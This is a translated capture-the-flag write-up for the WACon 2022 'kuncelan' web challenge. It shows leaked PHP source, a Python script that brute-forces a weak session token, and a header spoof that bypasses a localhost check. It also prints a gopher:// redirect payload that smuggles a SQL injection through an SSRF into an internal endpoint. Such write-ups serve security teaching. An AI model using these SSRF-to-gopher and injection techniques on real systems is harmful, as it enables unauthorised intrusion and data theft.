2022 WACon CTF - kuncelan Writeup
WACon 2022 kuncelan (blackbox) Web Challenge Solution - SQL Injection using LFI, SSRF, and Gopher
This post was machine-translated from Korean by AI. Some expressions may differ from the original.
Read the original (Korean)kuncelan
LFI exists.
<?php
// LOCATION : ./internal_e0134cd5a917.php
error_reporting(0);
session_start();
if (!isset($_SESSION['username']))
{
header('location: ./login.php');
die();
}
if (__FILE__ === $_SERVER['SCRIPT_FILENAME'])
{
die("only in include");
}
function valid_url($url)
{
$valid = False;
$res=preg_match('/^(http|https)?:\\/\\/.*(\\/)?.*$/',$url);
if (!$res) $valid = True;
try{ parse_url($url); }
catch(Exception $e){ $valid = True;}
$int_ip=ip2long(gethostbyname(parse_url($url)['host']));
return $valid
|| ip2long('127.0.0.0') >> 24 == $int_ip >> 24
|| ip2long('10.0.0.0') >> 24 == $int_ip >> 24
|| ip2long('172.16.0.0') >> 20 == $int_ip >> 20
|| ip2long('192.168.0.0') >> 16 == $int_ip >> 16
|| ip2long('0.0.0.0') >> 24 == $int_ip >> 24;
}
function get_data($url)
{
if (valid_url($url) === True) { return "IP not allowed or host error"; }
$ch = curl_init();
$timeout = 7;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, True);
curl_setopt($ch, CURLOPT_MAXREDIRS, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$data = curl_exec($ch);
if (curl_error($ch))
{
curl_close($ch);
return "Error !";
}
curl_close($ch);
return $data;
}
function gen($user){
return substr(sha1((string)rand(0,getrandmax())),0,20);
}
if(!isset($_SESSION['X-SECRET'])){ $_SESSION["X-SECRET"] = gen(); }
if(!isset($_COOKIE['USER'])){ setcookie("USER",$_SESSION['username']); }
if(!isset($_COOKIE['X-TOKEN'])){ setcookie("X-TOKEN",hash("sha256", $_SESSION['X-SECRET']."guest")); }
$IP = (isset($_SERVER['HTTP_X_HTTP_HOST_OVERRIDE']) ? $_SERVER['HTTP_X_HTTP_HOST_OVERRIDE'] : $_SERVER['REMOTE_ADDR']);
$out = "";
if (isset($_POST['url']) && !empty($_POST['url']))
{
if (
$IP === "127.0.0.1"
& $_COOKIE['X-TOKEN'] === hash("sha256", $_SESSION['X-SECRET'].$_COOKIE['USER'])
& strpos($_COOKIE['USER'], 'admin') !== false
)
{
$out = get_data($_POST['url']);
}
else
{
$out = "Only the administrator can test this function from 127.0.0.1!";
}
}
?>
<main role="main" class="container">
<h1 class="mt-5">𝖈𝖚𝖗𝖑:// ?</h1>
<p class="lead">cURL is powered by libcurl , used to interact with websites 🌐</p>
<form method="post" >
<legend><label for="url">Website URL</label></legend>
<input class="form-control" type="url" name="url" style="width:100%" />
<input class="form-control" type="submit" value="👉 Request HTTP 👈">
</form><?php echo $out; ?>
</main>Extracted result from load.phtml.
They set it so that the curl function can only be used by admin on localhost, but this can be bypassed.
function gen($user){
return substr(sha1((string)rand(0,getrandmax())),0,20);
}
if(!isset($_SESSION['X-SECRET'])){ $_SESSION["X-SECRET"] = gen(); }
if(!isset($_COOKIE['USER'])){ setcookie("USER",$_SESSION['username']); }
if(!isset($_COOKIE['X-TOKEN'])){ setcookie("X-TOKEN",hash("sha256", $_SESSION['X-SECRET']."guest")); }It generates a random value using getrandmax(), hashes it with sha1, extracts 10 bytes, appends this to the username, and then hashes it again with sha256.
However, since getrandmax only goes up to about 2.1 billion, the hash can be cracked within a short time even on a personal PC.
from arang import *
xtoken = b"b0b32995820dad31a559a8611a610f9b3c57072b8fd757739c3605e50877d2fd"
for i in range(40000000,500000000):
xsecret = he(sha1(str(i)))[:20]
t = he(sha256(xsecret+b"guest"))
if xtoken == t:
print(xsecret)
break
if i % 10000000 == 0:
print(f"[+] {i} : {xsecret} {t}")If you crack the hash roughly like this, the xsecret value for my session appears.
Now, if you generate a valid admin x-token using this xsecret, you can bypass the token auth.
$IP = (isset($_SERVER['HTTP_X_HTTP_HOST_OVERRIDE']) ? $_SERVER['HTTP_X_HTTP_HOST_OVERRIDE'] : $_SERVER['REMOTE_ADDR']);
...
if ( $IP === "127.0.0.1" ){
...This can be bypassed by adding the X-HTTP-HOST-OVERRIDE header and setting it to 127.0.0.1.
function valid_url($url)
{
$valid = False;
$res=preg_match('/^(http|https)?:\\/\\/.*(\\/)?.*$/',$url);
if (!$res) $valid = True;
try{ parse_url($url); }
catch(Exception $e){ $valid = True;}
$int_ip=ip2long(gethostbyname(parse_url($url)['host']));
return $valid
|| ip2long('127.0.0.0') >> 24 == $int_ip >> 24
|| ip2long('10.0.0.0') >> 24 == $int_ip >> 24
|| ip2long('172.16.0.0') >> 20 == $int_ip >> 20
|| ip2long('192.168.0.0') >> 16 == $int_ip >> 16
|| ip2long('0.0.0.0') >> 24 == $int_ip >> 24;
}Now I can use the curl function, but a validation function called valid_url exists.
- Only http/https schemes can be used.
- Parses the host, converts the value corresponding to the host to long format using
ip2longviagethostbyname. - Verifies local IP ranges such as /24, /20, /16, etc.
I tried pretty hard to bypass it, but it didn't work..
$ch = curl_init();
$timeout = 7;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, True);
curl_setopt($ch, CURLOPT_MAXREDIRS, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$data = curl_exec($ch);However, CURLOPT_FOLLOWLOCATION exists in the curl options.
Since curl handles 302 Redirection, I think I can send it to my server and then trigger a 302 redirection.
<?php
header("Location: gopher://127.0.0.1:80/_POST%20/internal_1d607d2c193b.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1:80%0d%0aAuthorization:%20Basic%20YWRtaW4nfHwxIzpndWVzdA==%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%203%0d%0a%0d%0aa=a%0d%0a%0d%0a");
#header("Location: <http://127.0.0.1:80/internal_e0134cd5a917.php>");
#header("Location: <http://127.0.0.1:80/internal_1d607d2c193b.php>");
?>If I set the internal_e0134cd5a917.php file, which was written as a comment in load.phtml, as the location:
next file location wow
It says there is no basic authorization.
I sent guest:guest, and it says SQL : user not found.
Perhaps they are inserting the basic authorization into the sql query.
When I insert the sqli syntax, it says localhostonly.
This couldn't be bypassed with specific headers like before.
The Authorization header isn't passed via 302 redirect to another site with curl, so while I was struggling with this...
I extracted the table via sqli and found part of the flag.
It's telling me to use Gopher.
header("Location: gopher://127.0.0.1:80/_POST%20/internal_1d607d2c193b.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1:80%0d%0aAuthorization:%20Basic%20YWRtaW4nfHwxIzpndWVzdA==%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%203%0d%0a%0d%0aa=a%0d%0a%0d%0a");If I create and send an http raw packet using gopher:
Obtained the rest of the packet.
**WACon{Try_using_Gophhhher_ffabcdbc}**
Comments